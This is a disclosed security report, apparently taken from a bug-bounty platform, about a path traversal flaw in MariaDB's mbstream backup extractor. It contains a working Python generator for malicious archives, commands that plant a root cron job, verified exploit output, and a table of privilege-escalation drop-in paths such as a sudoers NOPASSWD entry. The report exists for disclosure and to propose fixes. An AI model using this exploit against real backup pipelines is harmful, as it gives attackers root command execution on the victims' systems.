HexBrain

MariaDB · Report #3678395

Path Traversal in mbstream Extract

Validstatus
highseverity
29upvotes
3 Oct 2026disclosed

How it was found

Summary

The xbstream extraction code in mbstream (the first-party extraction utility shipped in the mariadb-backup package) does not reject .. path components in archive chunk paths. The current safeguard, MY_RELATIVE_PATH passed to fn_format(), prevents absolute paths but does not prevent directory traversal via relative paths such as ../../etc/cron.d/evil. As a result, a malicious .xbstream archive can cause extraction to create files outside the chosen target directory, at attacker-controlled paths permitted by the extracting user's privileges.

This is an archive-extraction path traversal vulnerability (CWE-22, Zip Slip class). The file-creation primitive permits out-of-target file creation whenever an archive with a ..-prefixed chunk path reaches mbstream -x and the kernel-resolved parent of the traversal target exists with appropriate permissions. In common configurations (restores running as root with cron installed), this primitive escalates to root command execution through standard writable drop-in locations such as /etc/cron.d/. An end-to-end exploit was verified on MariaDB 12.2.2 on Debian 12: delivering a single malicious .xbstream file caused root command execution via cron within ~60 seconds of extraction.

Exploit prerequisites

To reach RCE the following must hold:

  • Attacker must be able to supply or influence the contents of an .xbstream archive that the victim later extracts (delivery channels include backup buckets, replication seeding, DR pipelines, Kubernetes operator backup volumes, scheduled restore verification jobs, etc.).
  • Victim must run mbstream -x on the attacker-influenced archive.
  • The privilege level of the extracting user determines the impact. Restore pipelines commonly run as root (escalation to root code execution via writable drop-in directories like /etc/cron.d/); pipelines running as the mysql user are still subject to the underlying file-creation primitive.

The vulnerability permits out-of-target file creation once an attacker-supplied archive reaches the extractor; whether that primitive escalates to command execution depends on the privileges of the extracting user and on which writable execution paths are available on the target.

Environment

  • Confirmed on: MariaDB 12.2.2-MariaDB-deb12, package mariadb-backup_1:12.2.2+maria~deb12_amd64.deb from the official MariaDB repository, Debian 12 (Bookworm) x86_64.
  • Suspected affected (not independently verified): other maintained MariaDB branches containing the same ds_local.cc / mf_format.c / xbstream.cc logic. The vulnerable code has been in extra/mariabackup/ds_local.cc:local_open() and mysys/mf_format.c since these features were introduced and appears unchanged across branches based on code inspection.
  • Plugins/Configuration: None required. mariadb-backup is the packaged physical-backup tool that ships alongside MariaDB. The path-traversal vulnerability itself is broadly Linux-applicable; the cron-based RCE escalation is one practical exploitation route on systems with cron installed and mariadb-backup running as root

Affected Code

extra/mariabackup/ds_local.cc, lines 89-118: the local_open() function used to create files during xbstream extraction:

static ds_file_t *
local_open(ds_ctxt_t *ctxt, const char *path, MY_STAT *mystat)
{
    char fullpath[FN_REFLEN];
    char dirpath[FN_REFLEN];
    size_t dirpath_len;
    ...
    fn_format(fullpath, path, ctxt->root, "", MYF(MY_RELATIVE_PATH));    // (1)

    dirname_part(dirpath, fullpath, &dirpath_len);
    if (my_mkdir(dirpath, 0777, MYF(0)) < 0 && my_errno != EEXIST) {     // (2)
        ...
    }

    fd = my_create(fullpath, 0, O_WRONLY | O_BINARY | O_EXCL | O_NOFOLLOW,
                   MYF(MY_WME));                                          // (3)
    ...
}

(1) MY_RELATIVE_PATH is intended to constrain path underneath ctxt->root. The implementation in mysys/mf_format.c:46-52 only checks whether path is "hard" (absolute):

else if ((flag & MY_RELATIVE_PATH) && !test_if_hard_path(dev))
{
    /* Put 'dir' before the given path */
    pos = convert_dirname(dev, dir, NullS);
    strmake(pos, buff, ...);
}

test_if_hard_path() (mysys/my_getwd.c:132) classifies as "hard" only paths starting with / or ~/. A path like ../../etc/cron.d/evil is therefore considered "relative" and is simply prepended with the target directory:

  • target dir: /tmp/restore
  • chunk path: ../../etc/cron.d/evil
  • fullpath: /tmp/restore/../../etc/cron.d/evil
  • after kernel resolves ..: /etc/cron.d/evil

(2) No userspace normalization of .. occurs anywhere in this code path. dirname_part() strips the trailing component to derive dirpath but leaves any .. segments in place; my_mkdir() and (later) my_create() then pass the un-normalized string straight to the kernel, which resolves .. at the syscall boundary. So dirpath literally is /tmp/restore/../../etc/cron.d/, and the kernel resolves it to /etc/cron.d/ when mkdir(2) runs. EEXIST is silently tolerated (line 106), so the call succeeds for any traversal target whose resolved parent directory already exists, which covers all the realistic exploitation targets (/etc/cron.d, /etc/profile.d, /etc/sudoers.d, etc.).

(3) my_create() opens the file with O_EXCL | O_NOFOLLOW. This means existing files cannot be overwritten and symlinks are not followed, but new files can be created at the traversed location, which is sufficient for the attack.

The xbstream chunk path is read directly from the archive header in extra/mariabackup/xbstream_read.cc:144-160 and passed to local_open() at extra/mariabackup/xbstream.cc:334 (file = ds_open(ctxt->ds_ctxt, path, NULL);) without any sanitization beyond a length cap of FN_REFLEN.

Reproduction

The PoC generates a minimal valid xbstream archive containing one payload chunk and one EOF chunk, both carrying a ../-prefixed path. The cron.d variant below demonstrates end-to-end root code execution from a single delivered archive.

Helper script

Save as craft_evil_xbstream.py:

#!/usr/bin/env python3
"""Craft a minimal xbstream containing one payload chunk and one EOF chunk.
Usage:  craft_evil_xbstream.py <CHUNK_PATH> <PAYLOAD_BYTES> <OUTFILE>
"""
import struct, zlib, sys

CHUNK_MAGIC = b'XBSTCK01'
TYPE_PAYLOAD = b'P'
TYPE_EOF = b'E'

def make_payload_chunk(path: bytes, payload: bytes) -> bytes:
    out  = CHUNK_MAGIC
    out += b'\x00'                          # flags = 0
    out += TYPE_PAYLOAD                     # type = 'P'
    out += struct.pack('<I', len(path))     # path length (LE)
    out += path
    out += struct.pack('<Q', len(payload))  # payload length (8 bytes LE)
    out += struct.pack('<Q', 0)             # offset in source file
    out += struct.pack('<I', zlib.crc32(payload) & 0xFFFFFFFF)
    out += payload
    return out

def make_eof_chunk(path: bytes = b'eof') -> bytes:
    out  = CHUNK_MAGIC + b'\x00' + TYPE_EOF
    out += struct.pack('<I', len(path)) + path
    return out

with open(sys.argv[3], 'wb') as f:
    f.write(make_payload_chunk(sys.argv[1].encode(), sys.argv[2].encode()))
    f.write(make_eof_chunk(sys.argv[1].encode()))
print('wrote', sys.argv[3])

End-to-end root RCE via /etc/cron.d

The chunk path traverses to /etc/cron.d/evil; the payload is a valid cron entry that runs a command as root every minute.

python3 craft_evil_xbstream.py \
    '../../etc/cron.d/evil' \
    '* * * * * root touch /tmp/CRON_PROOF
' \
    /tmp/evil.xbstream

rm -f /tmp/CRON_PROOF /etc/cron.d/evil
mkdir -p /tmp/restore_target

mbstream -x -C /tmp/restore_target < /tmp/evil.xbstream

ls -la /etc/cron.d/evil
cat /etc/cron.d/evil

for i in $(seq 1 70); do
    if [ -f /tmp/CRON_PROOF ]; then
        echo "[+] CRON FIRED after ${i}s"
        ls -la /tmp/CRON_PROOF
        break
    fi
    sleep 1
done

Verbatim output on test VM:

wrote /tmp/evil.xbstream
-rw-r----- 1 root root 37 Apr 16 10:09 /etc/cron.d/evil
* * * * * root touch /tmp/CRON_PROOF
[+] CRON FIRED after 40s
-rw-r--r-- 1 root root 0 Apr 16 10:10 /tmp/CRON_PROOF

End-to-end RCE confirmed: a single delivered .xbstream archive yielded root code execution within 60 seconds of extraction (40s in this run, depending on when extraction completes relative to cron's next minute boundary). No prior shell access on the target host is required; the attacker only needs a path to supply a malicious archive into a restore workflow. The chain is:

  1. mbstream -x extracts the archive, traversing out of the target directory.
  2. /etc/cron.d/evil is created with the attacker's cron entry.
  3. crond re-reads /etc/cron.d/ and schedules the new job.
  4. On the next minute boundary, the job runs as root, executing touch /tmp/CRON_PROOF (or any attacker-chosen command).

Suggested Fix

Anchor extraction to a fixed dirfd opened on ctxt->root and reach every extracted file via openat()/mkdirat() with explicit per-component validation. This eliminates the entire class of path-resolution race conditions in addition to fixing the immediate bug. The algorithm:

  1. Once, when the local datasink is created, open ctxt->root with O_RDONLY | O_DIRECTORY | O_CLOEXEC and store the fd as ctxt->rootfd.
  2. For each chunk received from the xbstream parser, replace the fn_format -> my_mkdir -> my_create chain in local_open() with a path walker that:
    • Splits the chunk path on /.
    • For each path component, refuses if the component is empty, ., .., or contains characters disallowed for filenames (NUL, etc.). Refusing .. here is the primary fix.
    • For each non-final component, calls mkdirat(current_dirfd, component, 0755) (tolerating EEXIST) and openat(current_dirfd, component, O_RDONLY | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC), then advances current_dirfd to the new fd and closes the previous one.
    • For the final component, calls openat(current_dirfd, component, O_WRONLY | O_CREAT | O_EXCL | O_NOFOLLOW, mode) to create the leaf file.
  3. The walk starts with current_dirfd = dup(ctxt->rootfd) so each chunk extraction begins from the trusted anchor and never resolves .. against the host filesystem.

Essential properties:

  • openat() against a fixed rootfd, never against attacker-controlled absolute paths.
  • One component at a time; .. and absolute segments are rejected lexically before any syscall sees them.
  • O_NOFOLLOW on every intermediate openat() defeats symlink-swap races where an attacker creates a symlink between the safety check and the eventual open().
  • O_DIRECTORY on each intermediate ensures the descent fails fast if a non-directory was substituted.

As a minimum stopgap if the above refactor is too invasive, a string-level filter applied to path before ds_open() prevents the obvious traversal. This is shallow, as string filters on filesystem paths have a long history of bypass tricks, but it does close the immediate vulnerability:

static bool path_is_safe(const char *path) {
    /* No absolute or home paths */
    if (path[0] == '/' || path[0] == '~')
        return false;
    /* No "..", "../", "/..", or any embedded "/../" */
    if (!strcmp(path, "..") || !strncmp(path, "../", 3))
        return false;
    if (strstr(path, "/../") != NULL)
        return false;
    size_t n = strlen(path);
    if (n >= 3 && !strcmp(path + n - 3, "/.."))
        return false;
    return true;
}

/* In file_entry_new() before ds_open(): */
if (!path_is_safe(path)) {
    msg("xbstream: refusing unsafe path '%s'", path);
    return NULL;
}

The realpath()-on-parent approach is a middle ground: canonicalize the parent directory of the constructed fullpath (realpath() on the leaf fails because the leaf does not yet exist) and verify the canonicalized parent is still under ctxt->root. This still has TOCTOU exposure between the check and the subsequent open(), which the openat()-with-dirfd pattern avoids.

Impact

Arbitrary new-file creation as the user running mbstream -x, anywhere on the filesystem the extracting user is permitted to create files and the kernel-resolved parent directory already exists. When extraction runs as root (the common case for restore operations), the primitive can be escalated to root command execution by writing a new file into a privileged drop-in directory:

Drop-in targetMechanismTime to command execution
/etc/cron.d/evilcrond watches the directory and picks up new files; runs at next minute boundary~60 seconds
/etc/sudoers.d/evilsudo evaluates new drop-ins on next invocation; attacker ALL=(ALL) NOPASSWD: ALL grants any user full sudonext sudo call
/etc/profile.d/evil.shshell sources files in this directory on next interactive loginnext login
/etc/ld.so.preloadloader honours this file on every subsequent exec() (only viable when the file does not already exist, since O_EXCL blocks overwrite)next process spawn
~/.ssh/authorized_keyssshd grants login if .ssh/ exists but authorized_keys does notimmediately

The cron.d path was verified end-to-end on the test VM (Debian 12, MariaDB 12.2.2 from the official package): a single attacker-supplied .xbstream file, processed by mbstream -x under root, yielded execution of touch /tmp/CRON_PROOF as root 40 seconds later.

The attack requires no MariaDB credentials. It requires only that the attacker influence the contents of one .xbstream file that the victim later extracts. Realistic delivery channels include:

  1. Backup-restore pipelines that pull .xbstream files from S3, NFS, HTTP, or SFTP and extract on the local host. Anyone with write access to the source store can craft a malicious archive. Backup buckets are frequently lower-trust than the database itself (separate IAM, separate retention policy).
  2. Replication seeding / DR site provisioning, where a new replica receives a stream from a "donor" host. A compromised donor could deliver a malicious stream.
  3. Cross-environment promotion: an attacker on a lower-trust environment (dev, staging) plants a malicious .xbstream in a shared backup spool that the higher-trust environment (prod) consumes during its weekly restore drill.
  4. Kubernetes operators: the mariadb-operator project runs mbstream -x -C <dir> < <file> during restore (pkg/command/backup.go:316,470), as root inside the operator pod. An attacker with write access to the backup PVC, S3 bucket, or other backing store can plant a malicious archive that triggers the bug on every restore the operator performs. In this configuration the user-interaction requirement effectively disappears (the operator extracts automatically), raising CVSS to ~8.8.
  5. Backup verification automation (cron jobs, CI, monitoring) that periodically restores backups to a sandbox host to verify integrity. The sandbox host runs mbstream -x on archives whose source the verification job inherently treats as untrusted.

Even without cron, the underlying out-of-target file-creation primitive still permits unauthorized file creation, which can corrupt system state, poison application configuration, plant files for later execution by other code paths, or cause denial of service.

This is the same vulnerability class as Zip Slip (Snyk, 2018), which received CVE assignments and fixes across the ecosystem (CVE-2018-1002200, CVE-2018-1002201, and dozens of language-specific archive-library CVEs) at CVSS scores in the 7-9 range.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original